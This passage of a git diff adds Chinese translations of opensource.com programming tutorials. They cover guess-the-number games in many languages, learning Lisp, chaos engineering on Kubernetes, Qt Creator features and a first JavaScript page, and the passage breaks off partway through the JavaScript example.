right!\n" << endl; + exit(0); +} +``` + +Rust: + +``` +_ if guess < random => println!("Too low"), +_ if guess > random => println!("Too high"), +_ => { + println!("That's right"); + break; +} +``` + +Java: + +``` +if ( guess > NUMBER ) { + System.out.println("Too high"); +} else if ( guess < NUMBER ) { + System.out.println("Too low"); +} else { + System.out.println("That's right!"); + System.exit(0); +} +``` + +Groovy: + +``` +if (guess < randomNumber) + print 'too low, try again: ' +else if (guess > randomNumber) + print 'too high, try again: ' +else { + println "that's right" + break +} +``` + +JavaScript: + +``` +if (myGuess === randomNumber) { + feedback.textContent = "You got it right!" +} else if (myGuess > randomNumber) { + feedback.textContent = "Your guess was " + myGuess + ". That's too high. Try Again!" +} else if (myGuess < randomNumber) { + feedback.textContent = "Your guess was " + myGuess + ". That's too low. Try Again!" +} +``` + +Awk: + +``` +if (guess < randomNumber) { + printf "too low, try again:" +} else if (guess > randomNumber) { + printf "too high, try again:" +} else { + printf "that's right\n" + exit +} +``` + +Lua: + +``` +if ( player.guess > number ) then + print("Too high") +elseif ( player.guess < number) then + print("Too low") +else + print("That's right!") + os.exit() +end +``` + +### 非类 C 编程语言会怎么样呢? + +非类 C 编程语言会有很大的不同,需要学习特定的语法来完成每一步。Racket 源于 Lisp 和 Scheme,所以它使用 Lisp 的前缀符和大量括号。Python 使用空格而不是括号来表示循环之类的块。Elixir 是一种函数式编程语言,有自己的语法。Bash 是基于 Unix 系统中的 Bourne shell,它本身借鉴了 Algol68,并支持额外的速记符,如 `&&` 作为 `and` 的变体。Fortran 是在使用打孔卡片输入代码的时期创建的,所以它依赖于一些重要列的 80 列布局。 + +我将通过比较 `if` 语句,举例表现这些编程语言的不同。`if` 判断一个值是否小于或大于另一个值,并向用户打印适当信息。 + +Racket: + +``` +(cond [(> number guess) (displayln "Too low") (inquire-user number)] + [(< number guess) (displayln "Too high") (inquire-user number)] + [else (displayln "Correct!")])) +``` + +Python: + +``` +if guess < random: + print("Too low") +elif guess > random: + print("Too high") +else: + print("That's right!") +``` + +Elixir: + +``` +cond do + guess < num -> + IO.puts "Too low!" + guess_loop(num) + guess > num -> + IO.puts "Too high!" + guess_loop(num) + true -> + IO.puts "That's right!" +end +``` + +Bash: + +``` +[ "0$guess" -lt $number ] && echo "Too low" +[ "0$guess" -gt $number ] && echo "Too high" +``` + +Fortran: + +``` +IF (GUESS.LT.NUMBER) THEN + PRINT *, 'TOO LOW' +ELSE IF (GUESS.GT.NUMBER) THEN + PRINT *, 'TOO HIGH' +ENDIF +``` + +### 更多 + +当你在学习一种新的编程语言时 “猜数字” 游戏是一个很友好的入门程序,通过一种简单的方式练习了几个常见的编程概念。通过不同编程语言实现这个简单游戏,你可以理解一些核心概念和每种语言的细节。 + +学习如何用 C 和类 C 语言编写 “猜数字” 游戏: + +* [C][2], Jim Hall +* [C++][3], Seth Kenlon +* [Rust][4], Moshe Zadka +* [Java][5], Seth Kenlon +* [Groovy][6], Chris Hermansen +* [JavaScript][7], Mandy Kendall +* [awk][8], Chris Hermansen +* [Lua][9], Seth Kenlon + +其他语言: + +* [Racket][10], Cristiano L. Fontana +* [Python][11], Moshe Zadka +* [Elixir][12], Moshe Zadka +* [Bash][13], Jim Hall +* [Fortran][14], Jim Hall + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/4/compare-programming-languages + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[VeryZZJ](https://github.com/VeryZZJ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/code_development_programming.png?itok=M_QDcgz5 "Developing code." +[2]: https://opensource.com/article/21/1/learn-c +[3]: https://opensource.com/article/20/12/learn-c-game +[4]: https://opensource.com/article/20/12/learn-rust +[5]: https://opensource.com/article/20/12/learn-java +[6]: https://opensource.com/article/20/12/groovy +[7]: https://opensource.com/article/21/1/learn-javascript +[8]: https://opensource.com/article/21/1/learn-awk +[9]: https://opensource.com/article/20/12/lua-guess-number-game +[10]: https://opensource.com/article/21/1/racket-guess-number +[11]: https://opensource.com/article/20/12/learn-python +[12]: https://opensource.com/article/20/12/elixir +[13]: https://opensource.com/article/20/12/learn-bash +[14]: https://opensource.com/article/21/1/fortran diff --git a/published/202206/20210503 Learn the Lisp programming language in 2021.md b/published/202206/20210503 Learn the Lisp programming language in 2021.md new file mode 100644 index 0000000000..fc5b4e6588 --- /dev/null +++ b/published/202206/20210503 Learn the Lisp programming language in 2021.md @@ -0,0 +1,295 @@ +[#]: subject: "Learn the Lisp programming language in 2021" +[#]: via: "https://opensource.com/article/21/5/learn-lisp" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14751-1.html" + +一起来学习 Lisp 编程语言吧! +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/24/124147v0loy4e3y0hneih8.jpg) + +> 许多大型代码库中都有 Lisp 代码的身影,因此,熟悉一下这门语言是一个明智之举。 + +早在 1958 年,Lisp 就被发明出来了,它是世界上第二古老的计算机编程语言(LCTT 译注:最古老的编程语言是 Fortran,诞生于 1957 年)。它有许多现代的衍生品,包括 Common Lisp、Emacs Lisp(Elisp)、Clojure、Racket、Scheme、Fennel 和 GNU Guile 等。 + +那些喜欢思考编程语言的设计的人,往往都喜欢 Lisp,因为它的语法和数据有着相同的结构:Lisp 代码实际上是一个列表的列表a list of lists,它的名字其实是 “列表处理LISt Processing” 的简写。而那些喜欢思考编程语言的美学的人,往往都讨厌 Lisp,因为它经常使用括号来定义范围;事实上,编程界也有一个广为流传的笑话:Lisp 代表的其实是 “大量烦人的多余括号”Lots of Irritating Superfluous Parentheses。 + +不管你是喜欢还是讨厌 Lisp 的设计哲学,你都不得不承认,它都是一门有趣的语言,过去如此,现在亦然(这得归功于现代方言 Clojure 和 Guile)。你可能会惊讶于在任何特定行业的大代码库中潜伏着多少 Lisp 代码,因此,现在开始学习 Lisp,至少熟悉一下它,不失为一个好主意。 + +### 安装 Lisp + +Lisp 有很多不同的实现。比较流行的开源版本有 [SBCL][2]、[GNU Lisp][3] 和 [GNU Common Lisp][4](GCL)。你可以使用发行版的包管理器安装它们中的任意一个,在本文中,我是用的是 `clisp`(LCTT 译注:也就是 GNU Lisp,一种 ANSI Common Lisp 的实现)。 + +以下是在不同的 Linux 发行版中安装 `clisp` 的步骤。 + +在 Fedora Linux 上,使用 `dnf`: + +``` +$ sudo dnf install clisp +``` + +在 Debian 上,使用 `apt`: + +``` +$ sudo apt install clisp +``` + +在 macOS 上,使用 [MacPorts][5] 或者 [Homebrew][6]: + +``` +# 使用 MacPorts +$ sudo port install clisp + +# 使用 Homebrew +$ brew install clisp +``` + +在 Windows 上,你可以使用 [clisp on Cygwin][7] 或者从 [gnu.org/software/gcl][8] 上下载 GCL 的二进制文件。 + +虽然我使用 `clisp` 命令来运行 Lisp 代码,但是本文中涉及到的大多数语法规则,对任何 Lisp 实现都是适用的。如果你选择使用一个不同的 Lisp 实现,除了用来运行 Lisp 代码的命令会和我不一样外(比如,你可能要用 `gcl` 或 `sbcl` 而不是 `clisp`),其它的所有东西都是相同的。 + +### 列表处理 + +Lisp 源代码的基本单元是 “表达式expression”,它在形式上是一个列表。举个例子,下面就是一个列表,它由一个操作符(`+`)和两个整数(`1` 和 `2`)组成: + +``` +(+ 1 2) +``` + +同时,它也是一个 Lisp 表达式,内容是一个符号(`+`,会被解析成一个加法函数)和它的两个参数(`1` 和 `2`)。你可以在 Common Lisp 的交互式环境(即 REPL)中运行该表达式和其它表达式。如果你熟悉 Python 的 IDLE,那么你应该会对 Lisp 的 REPL 感到亲切。(LCTT 译注:REPL 的全称是 “Read-Eval-Print Loop”,意思是 “‘读取-求值-输出’循环”,这个名字很好地描述了它的工作过程。) + +要进入到 REPL 中,只需运行 Common Lisp 即可: + +``` +$ clisp +[1]> +``` + +在 REPL 提示符中,尝试输入一些表达式: + +``` +[1]> (+ 1 2) +3 +[2]> (- 1 2) +-1 +[3]> (- 2 1) +1 +[4]> (+ 2 3 4) +9 +``` + +### 函数 + +在了解了 Lisp 表达式的基本结构后,你可以使用函数来做更多有用的事。譬如,`print` 函数可以接受任意数量的参数,然后把它们都显示在你的终端上,`pprint` 函数还可以实现格式化打印。还有更多不同的打印函数,不过,`pprint` 在 REPL 中的效果就挺好的: + +``` +[1]> (pprint "hello world") + +"hello world" + +[2]> +``` + +你可以使用 `defun` 函数来创建一个自定义函数。`defun` 函数需要你提供自定义函数的名称,以及它接受的参数列表: + +``` +[1]> (defun myprinter (s) (pprint s)) +MYPRINTER +[2]> (myprinter "hello world") + +"hello world" + +[3]> +``` + +### 变量 + +你可以使用 `setf` 函数来在 Lisp 中创建变量: + +``` +[1]> (setf foo "hello world") +"hello world" +[2]> (pprint foo) + +"hello world" + +[3]> +``` + +你可以在表达式里嵌套表达式(就像使用某种管道一样)。举个例子,你可以先使用 `string-upcase` 函数,把某个字符串的所有字符转换成大写,然后再使用 `pprint` 函数,将它的内容格式化打印到终端上: + +``` +[3]> (pprint (string-upcase foo)) + +"HELLO WORLD" + +[4]> +``` + +Lisp 是动态类型语言,这意味着,你在给变量赋值时不需要声明它的类型。Lisp 默认会把整数当作整数来处理: + +``` +[1]> (setf foo 2) +[2]> (setf bar 3) +[3]> (+ foo bar) +5 +``` + +如果你想让整数被当作字符串来处理,你可以给它加上引号: + +``` +[4]> (setf foo "2") +"2" +[5]> (setf bar "3") +"3" +[6]> (+ foo bar) + +*** - +: "2" is not a number +The following restarts are available: +USE-VALUE      :R1      Input a value to be used instead. +ABORT          :R2      Abort main loop +Break 1 [7]> +``` + +在这个示例 REPL 会话中,变量 `foo` 和 `bar` 都被赋值为加了引号的数字,因此,Lisp 会把它们当作字符串来处理。数学运算符不能够用在字符串上,因此 REPL 进入了调试器模式。想要跳出这个调试器,你需要按下 `Ctrl+D` 才行(LCTT 译注:就 `clisp` 而言,使用 `quit` 关键字也可以退出)。 + +你可以使用 `typep` 函数对一些对象进行类型检查,它可以测试对象是否为某个特定数据类型。返回值 `T` 和 `NIL` 分别代表 `True` 和 `False`。 + +``` +[4]> (typep foo 'string) +NIL +[5]> (typep foo 'integer) +T +``` + +`string` 和 `integer` 前面加上了一个单引号(`'`),这是为了防止 Lisp(错误地)把这两个单词当作是变量来求值: + +``` +[6]> (typep foo string) +*** - SYSTEM::READ-EVAL-PRINT: variable STRING has no value +[...] +``` + +这是一种保护某些术语(LCTT 译注:类似于字符串转义)的简便方法,正常情况下它是用 `quote` 函数来实现的: + +``` +[7]> (typep foo (quote string)) +NIL +[5]> (typep foo (quote integer)) +T +``` + +### 列表 + +不出人意料,你当然也可以在 Lisp 中创建列表: + +``` +[1]> (setf foo (list "hello" "world")) +("hello" "world") +``` + +你可以使用 `nth` 函数来索引列表: + +``` +[2]> (nth 0 foo) +"hello" +[3]> (pprint (string-capitalize (nth 1 foo))) + +"World" +``` + +### 退出 REPL + +要结束一个 REPL 会话,你需要按下键盘上的 `Ctrl+D`,或者是使用 Lisp 的 `quit` 关键字: + +``` +[99]> (quit) +$ +``` + +### 编写脚本 + +Lisp 可以被编译,也可以作为解释型的脚本语言来使用。在你刚开始学习的时候,后者很可能是最容易的方式,特别是当你已经熟悉 Python 或 [Shell 脚本][9] 时。 + +下面是一个用 Common Lisp 编写的简单的“掷骰子”脚本: + +``` +#!/usr/bin/clisp + +(defun roller (num)   +  (pprint (random (parse-integer (nth 0 num)))) +) + +(setf userput *args*) +(setf *random-state* (make-random-state t)) +(roller userput) +``` + +脚本的第一行注释(LCTT 译注:称之为“释伴shebang”)告诉了你的 POSIX 终端,该使用什么可执行文件来运行这个脚本。 + +`roller` 函数使用 `defun` 函数创建,它在内部使用 `random` 函数来打印一个伪随机数,这个伪随机数严格小于 `num` 列表中下标为 0 的元素。在脚本中,这个 `num` 列表还没有被创建,不过没关系,因为只有当脚本被调用时,函数才会执行。 + +接下来的那一行,我们把运行脚本时提供的任意参数,都赋值给一个叫做 `userput` 的变量。这个 `userput` 变量是一个列表,当它被传递给 `roller` 函数后,它就会变成参数 `num`。 + +脚本的倒数第二行产生了一个“随机种子”。这为 Lisp 提供了足够的随机性来生成一个几乎随机的数字。 + +最后一行调用了自定义的 `roller` 函数,并将 `userput` 列表作为唯一的参数传递给它。 + +将这个文件保存为 `dice.lisp`,并赋予它可执行权限: + +``` +$ chmod +x dice.lisp +``` + +最后,运行它,并给它提供一个数字,以作为它选择随机数的最大值: + +``` +$ ./dice.lisp 21 + +13 +$ ./dice.lisp 21 + +7 +$ ./dice.lisp 21 + +20 +``` + +看起来还不错! + +你或许注意到,你的模拟骰子有可能会是 0,并且永远达不到你提供给它的最大值参数。换句话说,对于一个 20 面的骰子,这个脚本永远投不出 20(除非你把 0 当作 20)。有一个简单的解决办法,它只需要用到在本文中介绍的知识,你能够想到吗? + +### 学习 Lisp + +无论你是想将 Lisp 作为个人脚本的实用语言,还是为了助力你的职业生涯,抑或是仅仅作为一个有趣的实验,你都可以去看看一年一度(LCTT 译注:应该是两年一度)的 [Lisp 游戏果酱Game Jam][11],从而收获一些特别有创意的用途(其中的大多数提交都是开源的,因此你可以查看代码以从中学习)。 + +Lisp 是一门有趣而独特的语言,它有着不断增长的开发者用户群、足够悠久的历史和新兴的方言,因此,它有能力让从事各个行业的程序员都满意。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/5/learn-lisp + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/OSDC_women_computing_4.png +[2]: http://sbcl.org +[3]: http://clisp.org +[4]: https://www.gnu.org/software/gcl/ +[5]: https://opensource.com/article/20/11/macports +[6]: https://opensource.com/article/20/6/homebrew-linux +[7]: https://cygwin.fandom.com/wiki/Clisp +[8]: http://mirror.lagoon.nc/gnu/gcl/binaries/stable +[9]: https://opensource.com/article/20/4/bash-programming-guide +[10]: https://opensource.com/article/19/7/what-posix-richard-stallman-explains +[11]: https://itch.io/jam/spring-lisp-game-jam-2021 diff --git a/published/202206/20210531 Get started with Kubernetes using chaos engineering.md b/published/202206/20210531 Get started with Kubernetes using chaos engineering.md new file mode 100644 index 0000000000..2aaaaa83a7 --- /dev/null +++ b/published/202206/20210531 Get started with Kubernetes using chaos engineering.md @@ -0,0 +1,72 @@ +[#]: subject: (Get started with Kubernetes using chaos engineering) +[#]: via: (https://opensource.com/article/21/5/kubernetes-chaos) +[#]: author: (Jessica Cherry https://opensource.com/users/cherrybomb) +[#]: collector: (lujun9972) +[#]: translator: (Donkey-Hao) +[#]: reviewer: (turbokernel, wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14743-1.html) + +在 Kubernetes 中使用混沌工程 +====== + +> 在这篇文章中学习混沌工程的基础知识。 + +![](https://img.linux.net.cn/data/attachment/album/202206/22/110901xbb88ccb8lfcgcrl.jpg) + +混沌工程是由科学、规划以及实验组成的。它是一门在系统上进行实验的学科,用来建立系统在生产中承受混乱条件能力的信心。 + +首先,我会在文章导论部分解释混沌系统如何工作。 + +### 如何开始学习混沌系统呢? + +以我的经验,开始学习混沌系统的最好方式是触发一个此前生产中出现的事故来进行实验。使用过去的数据,制定一个计划,以相同的方式破坏你的系统,然后建立修复策略,并确认结果满足你预期。如果计划失败,你就有了一种新的实验方式,并朝着快速处理问题的新方式前进。 + +最重要的是,你可以随时记录所有内容,这意味着,随着时间的推移,整个系统将被完整记录下来,任何人都可以值守而无需太多加码,每个人都可以在周末好好休息。 + +### 你要在混沌工程中做什么? + +混沌系统实验运行背后有一些科学依据。我记录了其中一些步骤: + +1. **定义一个稳定状态:** 使用监控工具来搜集当系统没有问题或事故时,看起来功能正常的数据。 +2. **提出假设或使用先前的事故:** 现在你已经定义了一个稳定状态,请提出一个关于在事故或中断期间会发生(或发生过)的情况的假设。用这个假设来得出一系列将会发生的事故,以及如何解决问题的理论。然后你可以制定一个故意引发该问题的计划。 +3. **引发问题:** 用这个计划来破坏系统,并开始在真实环境中测试。收集破坏时的指标状态,按计划修复,并追踪提出解决方案所需时长。确保你把所有的东西都记录下来,以备将来发生故障时使用。 +4. **试图推翻你的假设:** 实验中最精彩的部分是尝试推翻你的思考或计划。你要创建一个不同的状态,看看你能走多远,并在系统中生成一个不同的稳定状态。 + +确保在你在另一个系统中生成的破坏因素前,建立一个处于稳定状态的控制系统。这将使你更容易在实验前、期间和之后发现各种稳定状态的差异。 + +### 混沌工程需要什么? + +这有一些初学混沌工程很好的工具: + +* 良好的文档编制方法 +* 一个捕捉你系统是否处于稳定状态的监控系统 + * Grafana + * Prometheus +* 混沌工程工具: + * Chaos mesh + * Litmus + * 之后的文章我会介绍更多 +* 一个假设 +* 一个计划 + +### 去搞破坏吧 + +现在你已经掌握了基础,是时候去安全的摧毁你的系统了。我计划每年制造四次混乱,然后努力实现每月一次的破坏。 + +混沌工程是一种很好的实践,也是推进你的内部文档保持最新的好方法。此外,随着时间的推移,新升级或应用程序部署将更加顺畅,你的日常生活管理将通过 Kubernetes 变得更加轻松。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/5/kubernetes-chaos + +作者:[Jessica Cherry][a] +选题:[lujun9972][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[turbokernel](https://github.com/turbokernel), [wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/cherrybomb +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/brett-jordan-chaos-unsplash.jpg?itok=sApp5dVd (Scrabble letters spell out chaos for chaos engineering) diff --git a/published/202206/20210630 9 reasons I love to use the Qt Creator IDE.md b/published/202206/20210630 9 reasons I love to use the Qt Creator IDE.md new file mode 100644 index 0000000000..87e3231afc --- /dev/null +++ b/published/202206/20210630 9 reasons I love to use the Qt Creator IDE.md @@ -0,0 +1,186 @@ +[#]: subject: (9 reasons I love to use the Qt Creator IDE) +[#]: via: (https://opensource.com/article/21/6/qtcreator) +[#]: author: (Stephan Avenwedde https://opensource.com/users/hansic99) +[#]: collector: (lujun9972) +[#]: translator: (hadisi1993) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14767-1.html) + +我爱用 Qt Creator IDE 的九个原因 +====== + +> Qt Creator 就是丰富的 Qt 库和程序员之间的粘合剂。 + +![](https://img.linux.net.cn/data/attachment/album/202206/27/192023otvmu77tl808lltl.jpg) + +Qt Creator 是 Qt 框架的默认集成开发环境(IDE),同时也是丰富的 Qt 库和用户之前的粘合剂。除了如智能代码补全、调试、项目管理等基础功能外,Qt Creator 还提供了很多让软件开发变得更简单的特性。 + +在这篇文章中,我会重点介绍一些我最喜欢的 [Qt Creator][2] 特性。 + +### 深色模式 + +当我使用一个新的应用时,我的第一个问题是:_它有深色模式吗?_ Qt Creator 的回答是:_你更喜欢哪一种深色模式呢?_ + +你可以在“选项Options”菜单中激活深色模式。在顶部的菜单栏中,点击“工具Tools”,选择“选项Options”,然后转到“环境Environment”部分。下面是你能选择的常用外观: + +![QT Creator 深色模式][3] + +### 定制外观 + +像每一个 Qt 应用一样,借助样式表,Qt Creator 的外观是高度可定制化的。下面,你可以按照我的做法给 Qt Creator一个想要的外观。 + +将下面这些内容写入 `mycustomstylesheet.css` 文件中: + +``` +QMenuBar { background-color: olive } +QMenuBar::item { background-color: olive } +QMenu { background-color : beige; color : black } +QLabel { color: green } +``` + +然后使用命令行开启 Qt Creator,将样式表作为参数传入: + +``` +qtcreator -stylesheet=mycustomstylesheet.css +``` + +IDE 现在看上去应该会变成这样: + +![QT Creator 定制样式表][5] + +在这份 [文档][6] 中可以查阅更多的样式表。 + +### 命令行参数 + +Qt Creator 可接受很多命令行选项。例如,如果想在启动时自动加载当前项目,那么你可以将它的路径传入: + +``` +qtcreator ~/MyProject/MyQtProject.pro +``` + +你甚至可以将默认应该打开的文件和行数作为参数传递。下面这个命令打开 `main.cpp` 20 行处: + +``` +qtcreator ~/MyProject/main.cpp:20 +``` + +在这份 [文档][7] 中可以查阅更多 Qt 特有的命令行选项。 + + +Qt Creator 和一般的 Qt 应用无二,所以,除了自己的命令行参数以外,它也接收 [QApplication][8] 和 [QGuiApplication][9] 的一般参数。 + +### 交叉编译 + +Qt Creator 允许你定义一些被称为“配套Kit”的工具链。 “配套” 定义了构建和运行应用所需要的二进制库和 SDK。 + +![QT Creator kits][10] + +这使得你通过两次点击,就在完全不同的工具链之间切换。 + +![在 Qt Creator 中切换配套][11] + +在这份 [手册][12] 中可以查阅更多关于配套的内容。 + +### 分析工具 + +Qt Creator 集成了一些最流行的性能分析工具,例如: + + * [Linux 性能分析器][13](需要特定的内核) + * [Valgrind][14] 内存分析器 + * [Clang-Tidy 和 Clazy][15],一种检查 C/C++ 的 静态分析器Linter + +![Qt Creator 分析工具][16] + +### 调试器 + +在调试方面,Qt Creator 为 GNU Debugger(GDB)配备了一个很好的界面。我喜欢它检查容器类型和创建条件断点的方式,很简单。 + +![Qt Creator 调试器][17] + +### FakeVim + +如果你喜欢 Vim,你可以在设置中开启 FakeVim,来像 Vim 一样控制 Qt Creator。点击“工具Tools”,选择“选项Options”。在 “FakeVim” 选项中,你可以找到许多开关来定制 FakeVim。除了编辑器的功能外,你可以将自己设置的功能和命令关联起来,定制 Vim 命令。 + +举个例子,你可以将“构建项目Build Project”的功能和 `build` 命令关联到一起: + +![Qt Creator中的FakeVim][18] + +回到编辑器中,当你按下冒号(`:`)并输入 `build`,Qt Creator 利用配置的工具链,开始进行构建: + +![Qt Creator中的FakeVim][19] + +你可以在这份 [文档][20] 中找到 FakeVim 的更多信息。 + +### 类检测器 + +当使用 C++ 开发时,点击 Qt Creator 右下角的按钮可打开右边的窗口。然后在窗口顶部拉下的菜单中选择“大纲Outline”。如果你在左侧窗体中有头文件打开,你可以很好地纵览定义的类和类型。如果你切换到源文件中(`*.cpp`),右侧窗体会列出所有定义的方法,双击其中一个,你可以跳转到这个方法: + +![Qt Creator 中的类列表][21] + +### 项目配置 + +Qt Creator 的项目建立在项目目录里的 `*.pro-file` 之上。你可以为你的项目在 `*.pro-file` 中添加定制的配置。我向 `*.pro-file` 中添加了 `my_special_config`,它向编译器的定义添加 `MY_SPECIAL_CONFIG`。 + +``` +QT -= gui + +CONFIG += c++11 console +CONFIG -= app_bundle + +CONFIG += my_special_config + +my_special_config { +DEFINES += MY_SPECIAL_CONFIG +} +``` + +Qt Creator 自动根据当前配置设置代码高亮: + +![Qt Creator 的特殊配置][22] + +`*.pro-file` 使用 [qmake 语言][23] 进行编写。 + +### 总结 + +这些特性仅仅是 Qt Creators 所提供的特性的冰山一角。初学者们应该不会感到被其众多的功能所淹没,Qt Creator 是一款对初学者很友好的 IDE。它甚至可能是入门 C++ 开发最简单的方式。如果要获得 QT Creator 特性的全面概述,请参考它的 [官方文档][24]。 + +*(插图来自 Stephan Avenwedde, [CC BY-SA 4.0][4])* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/qtcreator + +作者:[Stephan Avenwedde][a] +选题:[lujun9972][b] +译者:[hadisi1993](https://github.com/hadisi1993) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hansic99 +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-concentration-focus-windows-office.png?itok=-8E2ihcF (Woman using laptop concentrating) +[2]: https://www.qt.io/product/development-tools +[3]: https://opensource.com/sites/default/files/uploads/qt_creator_dark_mode.png ( QT Creator dark mode) +[4]: https://creativecommons.org/licenses/by-sa/4.0/ +[5]: https://opensource.com/sites/default/files/uploads/qt_creator_custom_stylesheet2.png (QT Creator custom stylesheet) +[6]: https://doc.qt.io/qt-5/stylesheet-reference.html +[7]: https://doc.qt.io/qtcreator/creator-cli.html +[8]: https://doc.qt.io/qt-5/qapplication.html#QApplication +[9]: https://doc.qt.io/qt-5/qguiapplication.html#supported-command-line-options +[10]: https://opensource.com/sites/default/files/uploads/qt_creator_cross_compiling.png (QT Creator kits) +[11]: https://opensource.com/sites/default/files/uploads/qt_creator_select_kits.png (Switching between Kits in Qt Creator) +[12]: https://doc.qt.io/qtcreator/creator-targets.html +[13]: https://doc.qt.io/qtcreator/creator-cpu-usage-analyzer.html +[14]: https://doc.qt.io/qtcreator/creator-valgrind-overview.html +[15]: https://doc.qt.io/qtcreator/creator-clang-tools.html +[16]: https://opensource.com/sites/default/files/uploads/qt_creator_analyzer.png (Qt Creator analyzer) +[17]: https://opensource.com/sites/default/files/uploads/qt_creator_debugger2.png (Qt Creator debugger) +[18]: https://opensource.com/sites/default/files/uploads/qt_creator_fakevim_ex_commands.png (FakeVim in Qt Creator) +[19]: https://opensource.com/sites/default/files/uploads/qt_creator_fakevim_build_commands.png (FakeVim in Qt Creator) +[20]: https://doc.qt.io/qtcreator/creator-editor-fakevim.html +[21]: https://opensource.com/sites/default/files/uploads/qtcreator_class_overview.png (List of classes in Qt Creator) +[22]: https://opensource.com/sites/default/files/uploads/qtcreater_special_config.png (Special configuration in Qt Creator) +[23]: https://doc.qt.io/qt-5/qmake-language.html +[24]: https://doc.qt.io/qtcreator/ diff --git a/published/202206/20210722 Write your first JavaScript code.md b/published/202206/20210722 Write your first JavaScript code.md new file mode 100644 index 0000000000..1cbb8f9f06 --- /dev/null +++ b/published/202206/20210722 Write your first JavaScript code.md @@ -0,0 +1,186 @@ +[#]: subject: "Write your first JavaScript code" +[#]: via: "https://opensource.com/article/21/7/javascript-cheat-sheet" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14740-1.html" + +编写你的第一段 JavaScript 代码 +====== + +> JavaScript 是为 Web 而生的,但它可以做的事远不止于此。本文将带领你了解它的基础知识,然后你可以下载我们的备忘清单,以便随时掌握详细信息。 + +![](https://img.linux.net.cn/data/attachment/album/202206/21/114718zzb8f6na6lgb28cn.jpg) + +JavaScript 是一种充满惊喜的编程语言。许多人第一次遇到 JavaScript 时,它通常是作为一种 Web 语言出现的。所有主流浏览器都有一个 JavaScript 引擎;并且,还有一些流行的框架,如 JQuery、Cash 和 Bootstrap 等,它们可以帮助简化网页设计;甚至还有用 JavaScript 编写的编程环境。它似乎在互联网上无处不在,但事实证明,它对于 [Electron][2] 等项目来说也是一种有用的语言。Electron 是一个构建跨平台桌面应用程序的开源工具包,它使用的语言就是 JavaScript。 + +JavaScript 语言的用途多到令人惊讶,它拥有各种各样的库,而不仅仅是用于制作网站。它的基础知识十分容易掌握,因此,它可以作为一个起点,助你跨出构建你想象中的东西的第一步。 + +### 安装 JavaScript + +随着你的 JavaScript 水平不断提高,你可能会发现自己需要高级的 JavaScript 库和运行时环境。不过,刚开始学习的时候,你是根本不需要安装 JavaScript 环境的。因为所有主流的 Web 浏览器都包含一个 JavaScript 引擎来运行代码。你可以使用自己喜欢的文本编辑器编写 JavaScript,将其加载到 Web 浏览器中,接着你就能看到代码的作用。 + +### 上手 JavaScript + +要编写你的第一个 JavaScript 代码,请打开你喜欢的文本编辑器,例如 [Atom][4] 或 [VSCode][5] 等。因为它是为 Web 开发的,所以 JavaScript 可以很好地与 HTML 配合使用。因此,我们先来尝试一些基本的 HTML: + +``` + +  +    JS +  +  +   

Nothing here.

+  + +``` + +保存这个文件,然后在 Web 浏览器中打开它。 + +![浏览器中显示的 HTML][6] + +要将 JavaScript 添加到这个简单的 HTML 页面,你可以创建一个 JavaScript 文件并在页面的 `` 中引用它,或者只需使用 ` + +  + +``` + +在浏览器中重新加载页面。 + +![在浏览器中显示带有 JavaScript 的 HTML][7] + +如你所见,`

` 标签仍然包含字符串 `"Nothing here"`,但是当它被渲染时,JavaScript 会改变它,使其包含 `"Hello world"`。是的,JavaScript 具有重建​​(或只是帮助构建)网页的能力。 + +这个简单脚本中的 JavaScript 做了两件事。首先,它创建一个名为 `myvariable` 的变量,并将字符串 `"Hello world!"` 放置其中。然后,它会在当前文档(浏览器呈现的网页)中搜索 ID 为 `example` 的所有 HTML 元素。当它找到 `example` 时,它使用了 `innerHTML` 函数将 HTML 元素的内容替换为 `myvariable` 的内容。(LCTT 译注:这里作者笔误了,`innerHTML` 是“属性”而非“函数”。) + +当然,我们也可以不用自定义变量。因为,使用动态创建的内容来填充 HTML 元素也是容易的。例如,你可以使用当前时间戳来填充它: + +``` + +  +    JS +  +  +   

Date and time appears here.

